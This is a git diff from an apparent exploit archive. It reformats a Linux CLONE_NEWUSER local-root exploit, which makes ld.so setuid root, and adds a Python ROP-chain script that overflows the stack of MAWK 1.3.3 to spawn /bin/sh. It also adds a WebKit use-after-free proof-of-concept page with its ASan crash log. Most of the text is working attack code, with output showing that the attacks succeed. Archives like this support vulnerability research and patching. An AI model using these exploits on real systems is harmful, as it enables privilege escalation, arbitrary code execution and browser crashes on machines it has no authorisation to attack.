https://www.redteam-pentesting.de/
|
||||||
|
|
@ -20,8 +20,7 @@ Local attackers can exploit this issue to gain kernel privileges, which will aid
|
||||||
*
|
*
|
||||||
* stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
|
* stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
|
||||||
* stealth@linux-czfh:~> ./a.out
|
* stealth@linux-czfh:~> ./a.out
|
||||||
* [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian
|
* [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
|
||||||
Krahmer
|
|
||||||
*
|
*
|
||||||
* [+] Found myself: '/home/stealth/a.out'
|
* [+] Found myself: '/home/stealth/a.out'
|
||||||
* [*] Parent waiting for boomsh to appear ...
|
* [*] Parent waiting for boomsh to appear ...
|
||||||
|
|
@ -110,12 +109,10 @@ int main(int argc, char *argv[])
|
||||||
|
|
||||||
|
|
||||||
if (geteuid() == 0 && argc == 1) {
|
if (geteuid() == 0 && argc == 1) {
|
||||||
/* this will run inside chroot, started as the ld.so
|
/* this will run inside chroot, started as the ld.so from
|
||||||
from
|
|
||||||
* su process
|
* su process
|
||||||
*/
|
*/
|
||||||
printf("[+] Yay! euid=%d uid=%d\n", geteuid(),
|
printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
|
||||||
getuid());
|
|
||||||
chown("lib64/ld-linux-x86-64.so.2", 0, 0);
|
chown("lib64/ld-linux-x86-64.so.2", 0, 0);
|
||||||
chmod("lib64/ld-linux-x86-64.so.2", 04755);
|
chmod("lib64/ld-linux-x86-64.so.2", 04755);
|
||||||
exit(0);
|
exit(0);
|
||||||
|
|
@ -126,8 +123,7 @@ getuid());
|
||||||
die("[-] execve");
|
die("[-] execve");
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013
|
printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");
|
||||||
Sebastian Krahmer\n\n");
|
|
||||||
|
|
||||||
memset(me, 0, sizeof(me));
|
memset(me, 0, sizeof(me));
|
||||||
readlink("/proc/self/exe", me, sizeof(me) - 1);
|
readlink("/proc/self/exe", me, sizeof(me) - 1);
|
||||||
|
|
@ -176,5 +172,3 @@ Sebastian Krahmer\n\n");
|
||||||
die("[-] execve");
|
die("[-] execve");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
98
platforms/linux/local/42357.py
Executable file
98
platforms/linux/local/42357.py
Executable file
|
|
@ -0,0 +1,98 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
|
||||||
|
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
|
||||||
|
# Tested on: GNU/Linux - Kali 2017.1 Release
|
||||||
|
#
|
||||||
|
# Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow
|
||||||
|
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
|
||||||
|
#
|
||||||
|
# Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful
|
||||||
|
# for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
|
||||||
|
#
|
||||||
|
# An attacker could exploit this vulnerability to execute arbitrary code in the
|
||||||
|
# context of the application. Failed exploit attempts will result in a
|
||||||
|
# denial-of-service condition.
|
||||||
|
#
|
||||||
|
import os, subprocess
|
||||||
|
from struct import pack
|
||||||
|
|
||||||
|
ropchain = "A"*1038 # junk
|
||||||
|
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
|
||||||
|
edi ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x0811abe0) # @ .data
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
|
||||||
|
ropchain += '/bin'
|
||||||
|
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
|
||||||
|
ebx ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
|
||||||
|
edi ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x0811abe4) # @ .data + 4
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
|
||||||
|
ropchain += '//sh'
|
||||||
|
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
|
||||||
|
ebx ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
|
||||||
|
edi ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
|
||||||
|
ebx ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
|
||||||
|
ropchain += pack('<I', 0x0811abe0) # @ .data
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
|
||||||
|
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
|
||||||
|
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
|
||||||
|
edi ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
|
||||||
|
ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x41414141) # padding
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
|
||||||
|
ropchain += pack('<I', 0x080c861f) # int 0x80
|
||||||
|
|
||||||
|
try:
|
||||||
|
print("[*] MAWK 1.3.3 Stack-Based Buffer Overflow by Juan Sacco")
|
||||||
|
print("[*] Please wait.. running")
|
||||||
|
subprocess.call(["jad", ropchain])
|
||||||
|
except OSError as e:
|
||||||
|
if e.errno == os.errno.ENOENT:
|
||||||
|
print "MAWK not found!"
|
||||||
|
else:
|
||||||
|
print "Error executing exploit"
|
||||||
|
raise
|
||||||
203
platforms/multiple/dos/42360.html
Executable file
203
platforms/multiple/dos/42360.html
Executable file
|
|
@ -0,0 +1,203 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1249
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function go() {
|
||||||
|
li.hidden = true;
|
||||||
|
dir.setAttribute("aria-labeledby", "map");
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<dir id="dir">
|
||||||
|
<li id="li">
|
||||||
|
<map id="map">
|
||||||
|
<area></area>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==728==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000908a0 at pc 0x000109f2cbb5 bp 0x7fff5e08a430 sp 0x7fff5e08a428
|
||||||
|
READ of size 8 at 0x6080000908a0 thread T0
|
||||||
|
==728==WARNING: invalid path to external symbolizer!
|
||||||
|
==728==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x109f2cbb4 in WebCore::AccessibilityNodeObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25bb4)
|
||||||
|
#1 0x109f58273 in WebCore::AccessibilityRenderObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x51273)
|
||||||
|
#2 0x109f2a6e0 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x236e0)
|
||||||
|
#3 0x109f2e8d3 in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x278d3)
|
||||||
|
#4 0x109f2ec3e in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c3e)
|
||||||
|
#5 0x109f279c9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x209c9)
|
||||||
|
#6 0x109f2ed5c in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d5c)
|
||||||
|
#7 0x109f5d550 in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x56550)
|
||||||
|
#8 0x109f464ab in WebCore::AccessibilityObject::accessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3f4ab)
|
||||||
|
#9 0x10a0e2df1 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dbdf1)
|
||||||
|
#10 0x10a0e0b6f in WebCore::AXObjectCache::getOrCreate(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d9b6f)
|
||||||
|
#11 0x10a0e650d in WebCore::AXObjectCache::textChanged(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1df50d)
|
||||||
|
#12 0x10a820041 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x919041)
|
||||||
|
#13 0x10a826268 in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f268)
|
||||||
|
#14 0x10a82607c in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f07c)
|
||||||
|
#15 0x10a81f8d7 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9188d7)
|
||||||
|
#16 0x10a81f6c1 in WebCore::Element::setAttribute(WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9186c1)
|
||||||
|
#17 0x10b463b93 in WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x155cb93)
|
||||||
|
#18 0x10b4555d8 in long long WebCore::BindingCaller<WebCore::JSElement>::callOperation<&(WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e5d8)
|
||||||
|
#19 0x10b455441 in WebCore::jsElementPrototypeFunctionSetAttribute(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e441)
|
||||||
|
#20 0x279e6e001027 (<unknown module>)
|
||||||
|
#21 0x115e2934a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#22 0x115e2934a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#23 0x115e2291a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#24 0x115a87757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#25 0x115a093da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#26 0x1150410f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#27 0x115041362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#28 0x1150416d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#29 0x10b0faa15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#30 0x10b48e510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510)
|
||||||
|
#31 0x10a88f68e in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98868e)
|
||||||
|
#32 0x10a88f170 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x988170)
|
||||||
|
#33 0x10a76a041 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x863041)
|
||||||
|
#34 0x10a779aaf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x872aaf)
|
||||||
|
#35 0x10a67b7af in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7747af)
|
||||||
|
#36 0x10a676103 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f103)
|
||||||
|
#37 0x10aa1b9ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce)
|
||||||
|
#38 0x10aa18d0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c)
|
||||||
|
#39 0x10a694493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493)
|
||||||
|
#40 0x10ac085c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#41 0x10a733093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#42 0x10a6f2386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#43 0x10a181997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#44 0x10a17b2aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#45 0x10cb02c41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#46 0x10260c2eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#47 0x10260f689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#48 0x10260eba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#49 0x101eaf683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#50 0x101c593b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#51 0x101c62888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#52 0x1164b5312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312)
|
||||||
|
#53 0x1164b5d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
#54 0x7fff8da4f3c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0)
|
||||||
|
#55 0x7fff8da302cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc)
|
||||||
|
#56 0x7fff8da2f7c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5)
|
||||||
|
#57 0x7fff8da2f1c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#58 0x7fff8cf90ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#59 0x7fff8cf90cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#60 0x7fff8cf90b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#61 0x7fff8b52be23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#62 0x7fff8bca785d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#63 0x7fff8b5207aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#64 0x7fff8b4eb1dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#65 0x7fffa33eb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#66 0x7fffa33ea2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#67 0x101b7156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#68 0x7fffa3192234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x6080000908a0 is located 0 bytes inside of 88-byte region [0x6080000908a0,0x6080000908f8)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x104b54294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
#1 0x1164fcf30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
#2 0x10a0e1fda in WebCore::AXObjectCache::remove(unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dafda)
|
||||||
|
#3 0x10a0e576e in WebCore::AXObjectCache::remove(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1de76e)
|
||||||
|
#4 0x10c573c0b in WebCore::RenderObject::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x266cc0b)
|
||||||
|
#5 0x10c681ac3 in WebCore::RenderText::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x277aac3)
|
||||||
|
#6 0x10c57412f in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x266d12f)
|
||||||
|
#7 0x10c6d35ba in WebCore::RenderTreeUpdater::tearDownRenderer(WebCore::Text&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cc5ba)
|
||||||
|
#8 0x10c6d22a8 in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cb2a8)
|
||||||
|
#9 0x10c6d11de in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ca1de)
|
||||||
|
#10 0x10c6d0c4d in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c9c4d)
|
||||||
|
#11 0x10c6d047b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c947b)
|
||||||
|
#12 0x10a6757e9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76e7e9)
|
||||||
|
#13 0x10a670185 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x769185)
|
||||||
|
